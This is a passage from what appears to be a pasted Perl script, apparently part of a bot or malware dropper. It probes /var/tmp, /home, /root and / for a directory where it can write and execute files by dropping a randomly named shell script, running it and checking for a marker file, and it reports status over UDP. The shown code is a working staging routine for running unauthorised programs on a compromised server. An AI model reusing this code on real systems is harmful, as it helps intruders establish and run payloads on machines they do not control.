- &send_udp('is', $message);
- }
- ### Get server path when allow running scripts
- sub get_path {
- my @paths = qw(/var/tmp /home /root /);
- foreach my $path (@paths) {
- if ( &test_path($path) == 1 ) {
- print "[+] Good Path: $path$/";
- return $path;
- }
- }
- print "[-] Path not found$/";
- return '';
- }
- ###
- sub test_path {
- my $path = $_[0];
- my $exec_file = 'towiejrs.sh';
- my $touch_file = 'qiwurjsd';
- unless ( -d $path ) {
- return 0;
- }
- chdir($path);
- open FILE, "> $exec_file";
- printf FILE ('#!/bin/sh%s', $/);
- print FILE "touch $touch_file$/";
- close FILE;
- chmod 755, $exec_file;
- `./$exec_file`;
- if ( -e $touch_file ) {
- unlink($touch_file);
- unlink($exec_file);
- return 1;
- }
- unlink($exec_file);
- return 0;
- }
Add Comment
Please, Sign In to add comment